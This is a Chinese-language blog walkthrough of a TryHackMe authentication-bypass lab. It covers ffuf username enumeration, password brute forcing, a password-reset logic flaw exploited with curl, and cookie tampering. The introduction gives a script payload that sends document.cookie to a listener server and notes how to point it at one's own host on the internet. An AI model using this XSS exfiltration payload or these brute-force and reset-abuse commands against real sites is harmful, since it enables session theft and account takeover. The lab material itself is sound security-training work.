引入
我们知道,登录一个网站不必全用账号密码,用cookie也能登录
我们可以构造XSS漏洞让用户点击之后获取他的cookie
另外我也在写haozi xss18关速通的攻略(因为还有些知识点不太会,还没打完,所以还没发)
这里我先给大家准备一个xss js的恶意代码
<script>
new Image().src = "http://127.0.0.1:8000?cookie="+document.cookie;
</script>
在外网您需要替换127.0.0.1为您的服务器地址
之后我们来在服务器上开启监听
python3 -m http.server
这样就能盗取cookie
在通过cookie插件或者burpsuite抓包 尝试伪造登录
我之前介绍浏览器插件里介绍过这个插件 建议观看我写的那些文章都是很实用的谢谢!
前言
房间地址:https://tryhackme.com/room/authenticationbypass
本次任务:
任务二Ffuf用户名枚举
这里他直接给我们了
我们知道我们之前是使用的enum4linux进行枚举 然而这次我们学习到新知识!!!
这个倒是与九头蛇爆破类似 都是有错误信息 有post信息
我们打开80端口看看
可以看到报错信息
那我们就使用他的命令进行枚举吧!
这个意思是只要用户存在 我们就枚举出来
在尝试查找身份验证漏洞时,一个有用的练习是创建有效用户名列表,我们稍后将在其他任务中使用该列表。
网站错误消息是整理这些信息以构建有效用户名列表的重要资源。如果我们访问 Acme IT 支持网站 ( http://10.10.85.222/customers/signup ) 注册页面,我们将获得一个用于创建新用户帐户的表单。
如果您尝试输入用户名 admin 并在其他表单字段中填写虚假信息,您会看到我们收到错误 An account with this username hasladen。我们可以利用此错误消息的存在,使用下面的 ffuf 工具生成已在系统上注册的有效用户名列表。ffuf 工具使用常用用户名列表来检查是否有匹配项。使用 ffuf 枚举用户名
在上面的示例中,
-w
参数选择计算机上包含我们要检查的用户名列表是否存在的文件的位置。参数-X
指定请求方法,默认情况下这是一个 GET 请求,但在我们的示例中它是一个 POST 请求。该-d
参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。该-H
参数用于向请求添加附加标头。在本例中,我们设置Content-Type
以便网络服务器知道我们正在发送表单数据。该-u
参数指定我们发出请求的 URL,最后,该-mr
参数是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。ffuf 工具和单词列表预安装在 AttackBox 上,也可以通过从https://github.com/ffuf/ffuf下载来本地安装。
创建一个 名为 valid_usernames.txt 的文件并添加您使用 ffuf 找到的用户名; 这些将在任务 3 中使用。回答以下问题。
好的让我们开始枚举
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.85.222/customers/signup -mr "username already exists"
对此我专门去下这个字典
在我去下载这个项目的时候我发现这个字典很大 我硬盘不够了 因此我只能去下载单独这一个字典
我把他放在我的桌面上了
好的让子弹飞一会
另外我插一句这个是属于印度国家的用户名
好的咱也是跑完了
admin robert simon steve四个用户名
任务三Ffuf爆破多个用户密码
他说可能遇到困难
实际上一点也不困难
让我们touch一个文本文件 并且nano去编辑他
touch valid_usernames.txt
nano valid_usernames.txt
让我们把我们的用户名去保存在里面
ctrl+O保存 回车退出
让我们去准备一个字典 这里看到靶场给的100个密码txt (有点少)
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.85.222/customers/login -fc 200
四个用户名 乘以4 跑四百次很快跑完了
可以看到我们就爆出了一个账号密码是steve的不过那也足够了
任务四逻辑缺陷
给大家看一下靶场的提示:
我在这里给大家解释一下我的理解:
这里是通过改变表单的邮箱密码达到找回密码的效果 我们看到robert的邮箱原来是robert@acmeitsupport.thm
我们需要更换为自己的,由此我们需要先注册一个邮箱
让我们看一下我们的Account账户
根据下面这个请求我们把username换成我们的godyu 为username为robert的账户发送一个找回密码的信息
curl 'http://10.10.45.75/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=godyu@customer.acmeitsupport.thm'
返回我们的邮箱查看
跟我们常见的邮箱找回密码一样
我们需要点进去他给的链接
可以看到我们点进去用户名已经编程robert
我门打开我们的邮箱信息
复制一下我们的Thm flag
任务五Cookie篡改
先看一下靶场提示:
cookie和session的介绍
我在给大家介绍一下cookie和session
我们都知道cookie是判断用户登录的凭据它和我们的账号密码一样重要,关于session我们以b站为例,我们登录账号密码后长期保持登录状态,这就是我们的session的作用,因为域用PHP写过session正好给大家展示一下
一般来说session和cookie是在一起存在的 我为登录的cookie设置了120s 120s后自动销毁
查看一下我们的效果
看我们的sessionID 拿到这个就可以搞事了
120s后我们刷新
如何在一个网站获取我们的cookie呢
其实很简单那我的博客举例
我们只要打开F12控制台输入document.cookie就能看到我们的cookie
简单篡改cookie
好的回归靶场:
我们先解决Thm的前几个问题
Cookie篡改:
我们只要把cookie值设置为登录=true ,admin=true就行了 如果有编码那就编码为md5或者Base64
我们篡改一下为admin就能获取到我们的cookie
curl http://10.10.45.75/cookie-test
curl -H "Cookie: logged_in=true; admin=false" http://10.10.45.75/cookie-test
curl -H "Cookie: logged_in=true; admin=true" http://10.10.45.75/cookie-test
解md5 和Base64
对于最后一个编码就好了
结束语
本次只是简单带入cookie和session的了解以及简单的篡改,后续等我继续学习,对XSS了解更深的时候教大家如何窃取他人的cookie并且登录(只用于合法测试)
暂无评论内容